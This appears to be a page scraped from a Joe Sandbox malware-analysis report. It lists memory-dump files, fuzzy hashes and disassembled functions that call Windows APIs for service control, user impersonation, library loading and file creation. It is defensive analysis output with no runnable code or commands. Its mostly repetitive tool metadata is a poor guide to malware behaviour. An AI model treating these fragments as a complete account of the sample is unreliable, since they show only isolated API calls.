Associated: 00000002.00000002.2023701916.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023727630.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023752076.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023775947.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023879748.0000000000486000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023905221.0000000000489000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023933635.00000000004A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023985076.00000000004B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024008645.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024033705.00000000004C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024058250.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024087411.00000000004DB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024110573.00000000004DC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024134788.00000000004E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024159348.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024183475.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024208490.00000000004FE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024231649.00000000004FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024254275.0000000000500000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024278762.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024301755.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024326415.000000000050D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024349752.0000000000510000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024373406.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024398204.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024422828.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024449053.0000000000522000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024473364.0000000000523000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024499008.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024548179.0000000000530000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024584016.0000000000533000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024609768.0000000000534000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024634769.0000000000537000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024660505.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024687998.0000000000543000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024711447.0000000000544000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024736356.000000000054A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024762634.0000000000552000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024787965.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024813592.0000000000561000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024838014.0000000000562000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024864379.0000000000571000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024888661.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024923107.00000000005AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024946598.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025018470.00000000005C4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025109471.00000000005C6000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_310000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 896c18de558f392b6d220d6d9e08c4d79156c6c44f4fca8d2670e9ca37e53e3e
Instruction ID: a278d41ff7415908eba87a22015a796808c0a8f0c62b9e1382a2a0c699c0f00a
Opcode Fuzzy Hash: 896c18de558f392b6d220d6d9e08c4d79156c6c44f4fca8d2670e9ca37e53e3e
Instruction Fuzzy Hash: 023128B714D1556EE3128B656A206FFBBACFAE3730B34406BE845CA943E2C90D094679

Function 004A0A20 Relevance: 1.6, APIs: 1, Instructions: 117
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 004A0A20

Memory Dump Source

Source File: 00000002.00000002.2023933635.000000000049E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000002.00000002.2023626815.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023654046.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023678332.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023701916.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023727630.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023752076.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023775947.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023879748.0000000000486000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023905221.0000000000489000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023933635.00000000004A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023985076.00000000004B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024008645.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024033705.00000000004C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024058250.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024087411.00000000004DB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024110573.00000000004DC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024134788.00000000004E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024159348.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024183475.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024208490.00000000004FE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024231649.00000000004FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024254275.0000000000500000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024278762.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024301755.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024326415.000000000050D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024349752.0000000000510000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024373406.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024398204.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024422828.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024449053.0000000000522000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024473364.0000000000523000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024499008.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024548179.0000000000530000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024584016.0000000000533000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024609768.0000000000534000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024634769.0000000000537000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024660505.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024687998.0000000000543000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024711447.0000000000544000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024736356.000000000054A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024762634.0000000000552000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024787965.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024813592.0000000000561000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024838014.0000000000562000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024864379.0000000000571000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024888661.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024923107.00000000005AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024946598.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025018470.00000000005C4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025109471.00000000005C6000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_310000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 572a6b52afb22358962cdc116e7862087ac61190b308dfb269688e2f00df26aa
Instruction ID: 253f18b8d38a12cf410ffabcc48c4fad1dc23e7d5ce3d17bd5a11aa8796543f9
Opcode Fuzzy Hash: 572a6b52afb22358962cdc116e7862087ac61190b308dfb269688e2f00df26aa
Instruction Fuzzy Hash: DB318BF691C310AFE701AF19D98167AFBE4EF98720F06482DEAC493650D7355850CBA7

Function 05280D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05280DCD

Memory Dump Source

Source File: 00000002.00000002.2027542328.0000000005280000.00000040.00000800.00020000.00000000.sdmp, Offset: 05280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5280000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: b29f17d1994d61477a699a184f55a7574908aa874683816fde2479d99989f2fe
Instruction ID: 5bd76f00e1f10457a801a9c3805c6c1cc8034a8d3da5ab7802a98aa609a42a35
Opcode Fuzzy Hash: b29f17d1994d61477a699a184f55a7574908aa874683816fde2479d99989f2fe
Instruction Fuzzy Hash: 3F2107B6C112199FCB50DF99D885BDEFBF4FF88310F14815AD809AB244D774A544CBA4

Function 05280D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05280DCD

Memory Dump Source

Source File: 00000002.00000002.2027542328.0000000005280000.00000040.00000800.00020000.00000000.sdmp, Offset: 05280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5280000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1d4733676bcbe15a423e5bfad81b4f852c5ce68eb1c12872f9050cbcb5358fd9
Instruction ID: 5a539113e42f2f81af8e13d5ea2b64eb87054683c4aa11dbf89f7057677062fe
Opcode Fuzzy Hash: 1d4733676bcbe15a423e5bfad81b4f852c5ce68eb1c12872f9050cbcb5358fd9
Instruction Fuzzy Hash: 362115B6C112199FCB50DF99D884ADEFBF4FF88320F14826AD809AB244D774A544CBA4

Function 05281510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05281580

Memory Dump Source

Source File: 00000002.00000002.2027542328.0000000005280000.00000040.00000800.00020000.00000000.sdmp, Offset: 05280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5280000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0b180b7fb487bb81fd0581a857b76f3b27c61cacc95a6e23b35587ae82b0b47d
Instruction ID: c02b64c38cdbd7573a5a45cc873f634a01f6b4ab418f7732ffed274f2ded1fbc
Opcode Fuzzy Hash: 0b180b7fb487bb81fd0581a857b76f3b27c61cacc95a6e23b35587ae82b0b47d
Instruction Fuzzy Hash: 8211E4B1900249DFDB10DF9AD584BDEFBF4EB48320F108029E559A7250D778A645CFA5

Function 05281509 Relevance: 1.6, APIs: 1, Instructions: 53
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05281580

Memory Dump Source

Source File: 00000002.00000002.2027542328.0000000005280000.00000040.00000800.00020000.00000000.sdmp, Offset: 05280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5280000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 603e0840f7a48653de98bfd0e4d17f9d33d830b48e3865da162a3c5962b760e4
Instruction ID: b5f1128c6a5cb896199931d922247044bc18504a626b20166e4d1eb4bcb46bc1
Opcode Fuzzy Hash: 603e0840f7a48653de98bfd0e4d17f9d33d830b48e3865da162a3c5962b760e4
Instruction Fuzzy Hash: F22114B5D00249CFCB10CF9AD584BEEFBF4AB48320F10842AE459A7290D378A644CFA5

Function 05281301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05281367

Memory Dump Source

Source File: 00000002.00000002.2027542328.0000000005280000.00000040.00000800.00020000.00000000.sdmp, Offset: 05280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5280000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: cd0ba37749bd7b649f8111c94adeab5a8993a72a33ee3e6e642b5ed4f141ca0e
Instruction ID: e5b99acd742419d612b188479f88f4c408f5d5b251427f4594136a1772b878e0
Opcode Fuzzy Hash: cd0ba37749bd7b649f8111c94adeab5a8993a72a33ee3e6e642b5ed4f141ca0e
Instruction Fuzzy Hash: CF1148B1800249CFDB10DF9AC885BEEFBF4EF48324F24846AD558A3290C778A544CFA5

Function 004A4DF3 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 004A4E19

Memory Dump Source

Source File: 00000002.00000002.2023933635.000000000049E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000002.00000002.2023626815.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023654046.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023678332.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023701916.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023727630.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023752076.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023775947.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023879748.0000000000486000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023905221.0000000000489000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023933635.00000000004A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023985076.00000000004B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024008645.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024033705.00000000004C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024058250.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024087411.00000000004DB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024110573.00000000004DC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024134788.00000000004E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024159348.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024183475.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024208490.00000000004FE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024231649.00000000004FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024254275.0000000000500000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024278762.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024301755.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024326415.000000000050D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024349752.0000000000510000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024373406.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024398204.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024422828.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024449053.0000000000522000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024473364.0000000000523000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024499008.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024548179.0000000000530000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024584016.0000000000533000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024609768.0000000000534000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024634769.0000000000537000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024660505.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024687998.0000000000543000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024711447.0000000000544000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024736356.000000000054A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024762634.0000000000552000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024787965.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024813592.0000000000561000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024838014.0000000000562000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024864379.0000000000571000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024888661.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024923107.00000000005AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024946598.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025018470.00000000005C4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025109471.00000000005C6000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_310000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fae4512778b53f871f0c5120f070c3ff923602fb0c074f2b2fba4215d603747c
Instruction ID: 640ce2021c308b1ad05d1f83e88440f0c9ef352920fcebd8fb7813145e4d1141
Opcode Fuzzy Hash: fae4512778b53f871f0c5120f070c3ff923602fb0c074f2b2fba4215d603747c
Instruction Fuzzy Hash: 33F0B4E61892513CA61286A26E15AFF7F6CF9E3B30730801BF805D5942C2C50E0A5239

Function 05281308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05281367

Memory Dump Source

Source File: 00000002.00000002.2027542328.0000000005280000.00000040.00000800.00020000.00000000.sdmp, Offset: 05280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5280000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 84309cfa8427873bdf957c13f40b79526b3cef0527b1a51f95300a3ba63652f4
Instruction ID: e257a6e00a0b65974bf969cfe88024632337a23372fca016817e7b019aacf00c
Opcode Fuzzy Hash: 84309cfa8427873bdf957c13f40b79526b3cef0527b1a51f95300a3ba63652f4
Instruction Fuzzy Hash: 6E1148B1800249CFDB10DF9AC444BEEFBF4EF48320F20846AD558A3290C778A544CFA5

Function 004A4DC9 Relevance: 1.5, APIs: 1, Instructions: 42
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 004A4E19

Memory Dump Source

Source File: 00000002.00000002.2023933635.000000000049E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000002.00000002.2023626815.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023654046.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023678332.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023701916.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023727630.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023752076.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023775947.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023879748.0000000000486000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023905221.0000000000489000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023933635.00000000004A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2023985076.00000000004B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024008645.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024033705.00000000004C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024058250.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024087411.00000000004DB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024110573.00000000004DC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024134788.00000000004E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024159348.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024183475.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024208490.00000000004FE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024231649.00000000004FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024254275.0000000000500000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024278762.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024301755.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024326415.000000000050D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024349752.0000000000510000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024373406.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024398204.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024422828.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024449053.0000000000522000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024473364.0000000000523000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024499008.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024548179.0000000000530000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024584016.0000000000533000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024609768.0000000000534000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024634769.0000000000537000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024660505.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024687998.0000000000543000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024711447.0000000000544000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024736356.000000000054A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024762634.0000000000552000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024787965.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024813592.0000000000561000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024838014.0000000000562000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024864379.0000000000571000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024888661.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024923107.00000000005AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024946598.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2024969503.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025018470.00000000005C4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2025109471.00000000005C6000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_310000_MYSLPMLH987D3Z1VZQGFOG7TV6JJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b0dbe7515c254e16be721cf6cdc87fc34a89d2b1ce9387ed1e151f461715ef81
Instruction ID: 7d7c67a8099a73bf43cd1d9fd05ce0031a9830104349480e5c4e7a0539ed28ba
